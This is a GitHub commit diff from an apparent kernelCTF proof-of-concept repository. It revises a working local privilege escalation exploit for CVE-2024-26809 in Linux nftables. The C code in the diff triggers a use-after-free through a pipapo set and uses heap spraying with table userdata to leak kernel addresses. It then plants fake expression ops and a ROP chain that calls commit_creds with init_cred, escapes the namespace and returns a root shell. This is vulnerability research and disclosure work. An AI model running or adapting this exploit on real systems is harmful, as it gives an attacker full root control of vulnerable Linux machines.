Skip to content

Commit ffc7377

Browse files
committed
Solve comments
1 parent 4a49333 commit ffc7377

File tree

17 files changed

+558
-486
lines changed

17 files changed

+558
-486
lines changed

pocs/linux/kernelctf/CVE-2024-26809_lts_cos/docs/exploit.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
# Exploit detail about CVE-2024-26809
2-
If you want to get some base information about CVE-2024-1085, please read [vulnerability.md](./vulnerability.md) first.
2+
If you want to get some base information about CVE-2024-26809, please read [vulnerability.md](./vulnerability.md) first.
33

44
## Background
55
nftables is a netfilter project that aims to replace the existing {ip,ip6,arp,eb}tables framework, providing a new packet filtering framework for {ip,ip6}tables, a new userspace utility (nft) and A compatibility layer. It uses existing hooks, link tracking system, user space queuing component and netfilter logging subsystem.
Binary file not shown.

pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/exploit.c

+80-60
Original file line numberDiff line numberDiff line change
@@ -27,18 +27,18 @@
2727
#include "setelem.h"
2828
#include "table.h"
2929
#include "set.h"
30+
#include "rop.h"
3031

3132
char *leak_data = NULL;
3233
char *table_udata = NULL;
3334
int table_num = 0;
34-
uint64_t leak_ops = 0, leak_heap = 0, kernel_off = 0;
35+
uint64_t kernel_off = 0;
3536
unsigned long user_cs,user_ss,user_rsp,user_rflags;
3637

3738
void shell(){
3839
printf("ret2usr success! uid : %d\n",getuid());
3940
char *args[] = {"/bin/sh", "-i", NULL};
4041
execve(args[0], args, NULL);
41-
//while(1);
4242
}
4343

4444
static void save_state() {
@@ -59,7 +59,6 @@ void pin_on_cpu(int cpu) {
5959
perror("sched_setaffinity()");
6060
exit(EXIT_FAILURE);
6161
}
62-
usleep(1000);
6362
}
6463

6564
int setup_sandbox(void) {
@@ -71,22 +70,20 @@ int setup_sandbox(void) {
7170
perror("[-] unshare(CLONE_NEWNET)");
7271
return -1;
7372
}
74-
pin_on_cpu(0);
7573
return 0;
7674
}
7775

7876

7977

8078
void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num){
8179
struct nl_msg * msg = nlmsg_alloc();
82-
//(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE);
8380
struct nlmsghdr *hdr1 = nlmsg_put(
8481
msg,
8582
NL_AUTO_PORT, // auto assign current pid
8683
NL_AUTO_SEQ, // begin wit seq number 0
8784
NFNL_MSG_BATCH_BEGIN, // TYPE
8885
sizeof(struct nfgenmsg),
89-
NLM_F_REQUEST //NLM_F_ECHO
86+
NLM_F_REQUEST
9087
);
9188
struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
9289
h->nfgen_family = 2;
@@ -100,7 +97,7 @@ void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num)
10097
NL_AUTO_SEQ, // begin wit seq number 0
10198
NFNL_MSG_BATCH_END,// TYPE
10299
sizeof(struct nfgenmsg),
103-
NLM_F_REQUEST //NLM_F_ECHO
100+
NLM_F_REQUEST
104101
);
105102
uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
106103
int i;
@@ -128,10 +125,8 @@ int nl_callback_get_table(struct nl_msg* recv_msg, void* arg)
128125
struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg);
129126
struct nlattr * tb_msg[NFTA_TABLE_MAX+1];
130127
memset(tb_msg, 0, NFTA_TABLE_MAX * 8);
131-
//printf("Get message back!\n");
132128

133129
if (ret_hdr->nlmsg_type == NLMSG_ERROR) {
134-
//printf("Received NLMSG_ERROR message!\n");
135130
return NL_STOP;
136131
}
137132

@@ -171,7 +166,8 @@ void exploit(struct nl_sock *socket){
171166
char *target_obj = "obj for exp";
172167

173168
new_table(socket, table);
174-
new_set_pipapo(socket,table, pipapo_set, 0x40, NFT_OBJECT_CT_EXPECT);
169+
//Step 1 Create a pipapo set `A`
170+
new_set_pipapo(socket,table, pipapo_set, 0x40, NFT_OBJECT_CT_EXPECT);//Set A
175171
new_set_bitmap(socket, table, bitmap_set);
176172

177173
char *key = malloc(0x40);
@@ -180,22 +176,24 @@ void exploit(struct nl_sock *socket){
180176
memset(pad,0x41,0x100);
181177
uint64_t hash_key;
182178

183-
//trigger the vulnerability
179+
//Step 2 Create element `B` and element `C` in set `A`.
184180
new_obj_ct_expect(socket, table, target_obj, NULL, 0);
185181
memset(key,0x41,0x40);
186182
spray_tables(socket,0x200, pad, 0xd0);
187-
new_setelem(socket, table, pipapo_set, pad, 0x80, target_obj, key, 0x40, NULL, 0, 0);
183+
new_setelem(socket, table, pipapo_set, pad, 0x80, target_obj, key, 0x40, NULL, 0, 0);//Set element B
188184
memset(key,0x42,0x40);
189-
new_setelem(socket, table, pipapo_set, pad, 0x80, target_obj, key, 0x40, NULL, 0, 0);
185+
new_setelem(socket, table, pipapo_set, pad, 0x80, target_obj, key, 0x40, NULL, 0, 0);//Set element C
190186
spray_tables(socket,0x200, pad, 0xd0);
187+
//Step 3
191188
struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*5);
192189
memset(msg_list, 0, sizeof(struct nlmsghdr *)*5);
193190
memset(key,0x43,0x40);
194-
msg_list[0] = new_setelem_msg(table, pipapo_set, pad, 0x80, target_obj, key, 0x40, NULL, 0);
191+
msg_list[0] = new_setelem_msg(table, pipapo_set, pad, 0x80, target_obj, key, 0x40, NULL, 0);//Set element D
195192
msg_list[1] = del_set_msg(table, pipapo_set);
196193
send_msg_list(socket, msg_list, 2);
197-
sleep(0.1);
194+
sleep(1);//Waiting the function nf_tables_commit
198195
//Now we try to get the heap back and check if we success
196+
//Step 4 Try to alloc the heap of the set element `C` back by creating `nft_table` with `NFTA_TABLE_USERDATA`.
199197
struct nl_sock * socket2 = nl_socket_alloc();
200198
if(nfnl_connect(socket2)<0){
201199
printf("nfnl_connect fail!\n");
@@ -204,7 +202,7 @@ void exploit(struct nl_sock *socket){
204202
nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_get_table, NULL);
205203
int try_num = 0;
206204
char *table_name = malloc(0x100);
207-
int a=0,b=0;
205+
int e=0,f=-1;
208206
while(1){
209207
printf("trying %d\n",try_num);
210208
snprintf(table_name, 0x100, "table for test %d", try_num);
@@ -219,14 +217,15 @@ void exploit(struct nl_sock *socket){
219217
printf("Get udata : %d\n", *(int *)table_udata);
220218
if(*(int *)table_udata != i){
221219
//It means we get two same object from the free list of kernel heap.
222-
a = *(int *)table_udata;
223-
b = i;
220+
e = *(int *)table_udata;
221+
f = i;
224222
break;
225223
}
226224
}
227-
if(b!=0)
225+
if(f!=-1)
228226
break;
229227
try_num++;
228+
sleep(0.1);//Waiting the function nf_tables_commit
230229

231230
}
232231
//Now, we free many object to avoid crash
@@ -238,81 +237,93 @@ void exploit(struct nl_sock *socket){
238237
snprintf(tmp, 0x100, "table_for_leak_%ld", i);
239238
del_table(socket, tmp);
240239
}
241-
sleep(0.5);
240+
sleep(0.5);//Waiting the function nft_commit_release which finally call nf_tables_table_destroy
242241

243-
printf("We get it! A: %d B: %d \n", a, b);
242+
printf("We get it! E: %d F: %d \n", e, f);
244243

245-
snprintf(tmp, 0x100, "table for test %d", a);
246-
//free one of it.
244+
snprintf(tmp, 0x100, "table for test %d", e);
245+
//Step 5 Delete `nft_table E`.
247246
del_table(socket, tmp);
248-
sleep(5);
247+
sleep(5);//Waiting the function nft_commit_release which finally call nf_tables_table_destroy
249248
uint16_t bitmap_key = 0;
250249
i=0;
250+
//Step 6 Spray heap to get the heap of `nft_table E->udata` back.
251251
while(1){
252252
bitmap_key = i;
253-
new_setelem_with_expr(socket, table, bitmap_set, pad, 0xb0, NULL, &bitmap_key, 2, NULL, 0);
254-
snprintf(tmp, 0x100, "table for test %d", b);
255-
get_table(socket2, tmp);
253+
new_setelem_with_expr(socket, table, bitmap_set, pad, 0xc0, NULL, &bitmap_key, 2, NULL, 0);
254+
snprintf(tmp, 0x100, "table for test %d", f);
255+
get_table(socket2, tmp);//[1]
256256
nl_recvmsgs_default(socket2);
257257
nl_recvmsgs_default(socket2);
258-
printf("Get ops 0x28: %llx\n",*(uint64_t *)(table_udata+0x28));
259-
if(((*(uint64_t *)(table_udata+0x28)) & 0xfff ) == 0xF20){
260-
break;
258+
printf("Get ops : %llx\n",*(uint64_t *)(table_udata+0x28));//0x28 = offset(elem, expr[0]->ops), the elem is created by function nft_set_elem_init
259+
if(((*(uint64_t *)(table_udata+0x28)) & 0xfff ) == 0x2e0){
260+
break;
261261
}
262-
sleep(0.1);
262+
sleep(0.1);//Waiting the function nf_tables_commit.
263263
i++;
264264
}
265265
//Save it. We will use it later.
266+
//Step 7: Dump `nft_table F`. We have dump it in [1]
266267
char *setelem_data = malloc(0x100);
267268
memcpy(setelem_data, table_udata, 0xd0);
268-
kernel_off = *(uint64_t *)(table_udata+0x28) - 0xFFFFFFFF82ACAF20; //nft_last_ops
269+
kernel_off = *(uint64_t *)(table_udata+0x28) - NFT_LAST_OPS;//nft_last_ops, 0x28 = offset(elem, expr[0]->ops), the elem is created by function nft_set_elem_init
269270
//now we get ops, we try to add a small setelem and leak it. We will use this setelem as expr->ops target.
271+
//Step 8: Create another set element `G`.
270272
bitmap_key++;
271-
new_setelem(socket, table, bitmap_set, pad, 0x60, NULL, &bitmap_key, 2, NULL, 0, 0);
272-
snprintf(tmp, 0x100, "table for test %d", b);
273+
new_setelem(socket, table, bitmap_set, pad, 0x60, NULL, &bitmap_key, 2, NULL, 0, 0);//set element G
274+
snprintf(tmp, 0x100, "table for test %d", f);
275+
273276
get_table(socket2, tmp);
274277
nl_recvmsgs_default(socket2);
275278
nl_recvmsgs_default(socket2);
276-
printf("Get next setelem : %llx\n",*(uint64_t *)table_udata);
279+
printf("Get next setelem : %llx\n",*(uint64_t *)table_udata);// 0 = offset(head.next,struct nft_bitmap_elem)
277280

278-
uint64_t ops_addr = *(uint64_t *)table_udata;
281+
uint64_t ops_addr = *(uint64_t *)table_udata;//We use the heap of the next set element as the expr[0]->ops
279282
//Free the small setelem, and fill it with our target expr->ops->dump and expr->ops->type
283+
//Step 9 : Delete set element `G`.Fill the heap memory of set element `G` through heap spraying.
280284
del_setelem(socket, table, bitmap_set, &bitmap_key, 2, NULL, 0);
281-
//ops->dump
282-
*(uint64_t *)&pad[0x40] = kernel_off + 0xffffffff811b0023;//leave ; ret
283-
//ops->type
284-
*(uint64_t *)&pad[0x70] = kernel_off + 0xFFFFFFFF8371BF00;//last type
285+
sleep(1);//Waiting the function nft_commit_release which finally call nf_tables_set_elem_destroy
286+
//fake ops->dump
287+
*(uint64_t *)&pad[0x40] = kernel_off + LEAVE_RET;
288+
//fake ops->type
289+
*(uint64_t *)&pad[0x78] = kernel_off + NFT_LAST_TYPE;/*the address of nft_last_type
290+
In function nf_tables_fill_expr_info:
291+
if (nla_put_string(skb, NFTA_EXPR_NAME, expr->ops->type->name))
292+
so we need to fake ops->type to avoid kernel crash
293+
*/
285294
spray_tables(socket,0x200, pad, 0x80);
286295
//Now we try to control ip by faking another expr in set elem.
287296
//build fake setelem
288297
*(uint64_t *)&setelem_data[0x28] = ops_addr; //expr[0]->ops
289298
//start ROP
290-
*(uint64_t *)&setelem_data[0x30] = kernel_off + 0xFFFFFFFF813E36EE;//pop rdi; ret
291-
*(uint64_t *)&setelem_data[0x38] = kernel_off + 0xFFFFFFFF83462180;//init_cred
292-
*(uint64_t *)&setelem_data[0x40] = kernel_off + 0xFFFFFFFF8110E830;//commit_creds;
293-
*(uint64_t *)&setelem_data[0x48] = kernel_off + 0xFFFFFFFF813E36EE;//pop rdi ; ret
299+
*(uint64_t *)&setelem_data[0x30] = kernel_off + POP_RDI_RET;
300+
*(uint64_t *)&setelem_data[0x38] = kernel_off + INIT_CRED;
301+
*(uint64_t *)&setelem_data[0x40] = kernel_off + COMMIT_CREDS;
302+
*(uint64_t *)&setelem_data[0x48] = kernel_off + POP_RDI_RET;
294303
*(uint64_t *)&setelem_data[0x50] = 1;
295-
*(uint64_t *)&setelem_data[0x58] = kernel_off + 0xFFFFFFFF81105680;//find_task_by_vpid
296-
*(uint64_t *)&setelem_data[0x60] = kernel_off + 0xffffffff8102c701;//mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret
304+
*(uint64_t *)&setelem_data[0x58] = kernel_off + FIND_TASK_BY_VPID;
305+
*(uint64_t *)&setelem_data[0x60] = kernel_off + MOV_RDI_RAX_POP_RBX_RET;
297306
*(uint64_t *)&setelem_data[0x68] = 0;
298-
*(uint64_t *)&setelem_data[0x70] = kernel_off + 0xffffffff811aaf4a;//pop rsi ; ret
299-
*(uint64_t *)&setelem_data[0x78] = kernel_off + 0xFFFFFFFF83461F40;//init_nsproxy
300-
*(uint64_t *)&setelem_data[0x80] = kernel_off + 0xFFFFFFFF8110CE30;//switch_task_namespaces
301-
*(uint64_t *)&setelem_data[0x88] = kernel_off + 0xFFFFFFFF82002107;//swapgs; ret
302-
*(uint64_t *)&setelem_data[0x90] = kernel_off + 0xFFFFFFFF822011A7;//iretq
307+
*(uint64_t *)&setelem_data[0x70] = kernel_off + POP_RSI_RET;
308+
*(uint64_t *)&setelem_data[0x78] = kernel_off + INIT_NSPROXY;
309+
*(uint64_t *)&setelem_data[0x80] = kernel_off + SWITCH_TASK_NAMESPACES;
310+
*(uint64_t *)&setelem_data[0x88] = kernel_off + SWAPGS_RET;
311+
*(uint64_t *)&setelem_data[0x90] = kernel_off + IRETQ;
303312
*(uint64_t *)&setelem_data[0x98] = (uint64_t)shell;
304313
*(uint64_t *)&setelem_data[0xa0] = user_cs;
305314
*(uint64_t *)&setelem_data[0xa8] = user_rflags;
306-
*(uint64_t *)&setelem_data[0xb0] = user_rsp|8;
315+
*(uint64_t *)&setelem_data[0xb0] = user_rsp|8;//You don't need to add '|8' when exploiting kernelctf.vrp.ctfcompetition.com:1337) It seems that without this '|8', a stack error will occur during github pull check. I haven't studied why this problem occurs, but I guess it has something to do with the stack alignment when returning to the function shell.
307316
*(uint64_t *)&setelem_data[0xb8] = user_ss;
308317

309-
//del table b first
318+
//Step 10: Delete `nft_table F`.
310319
del_table(socket, tmp);
320+
//Step 11 and 12
311321
//Try to get it back and control RIP
322+
sleep(5);//Waiting the function nft_commit_release which finally call nf_tables_table_destroy
312323
bitmap_key = i;
313324
int t=0;
314325
while(1){
315-
sleep(0.1);
326+
sleep(0.1);//Avoid heap crashes caused by excessive kmalloc.
316327
spray_tables(socket, 1, setelem_data, 0xd0);
317328
get_setelem(socket, table, bitmap_set, &bitmap_key, 2);
318329
printf("%d\n",t);
@@ -323,18 +334,27 @@ void exploit(struct nl_sock *socket){
323334
while(1);
324335
}
325336

337+
338+
struct nl_sock * setup_nl_socket(){
339+
struct nl_sock * socket = nl_socket_alloc();
340+
341+
if(nfnl_connect(socket)<0){
342+
printf("nfnl_connect fail!\n");
343+
return NULL;
344+
}
345+
return socket;
346+
}
347+
326348
int main(void) {
327349
if (setup_sandbox() < 0){
328350
printf("Create sandbox fail!\n");
329351
return 0;
330352
}
353+
pin_on_cpu(0);
331354
save_state();
332-
struct nl_sock * socket = nl_socket_alloc();
333-
334-
if(nfnl_connect(socket)<0){
335-
printf("nfnl_connect fail!\n");
336-
return 0;
337-
}
355+
struct nl_sock * socket = setup_nl_socket();
356+
if(socket == NULL)
357+
return 0;
338358
exploit(socket);
339359
return 0;
340360
}

0 commit comments

Comments
 (0)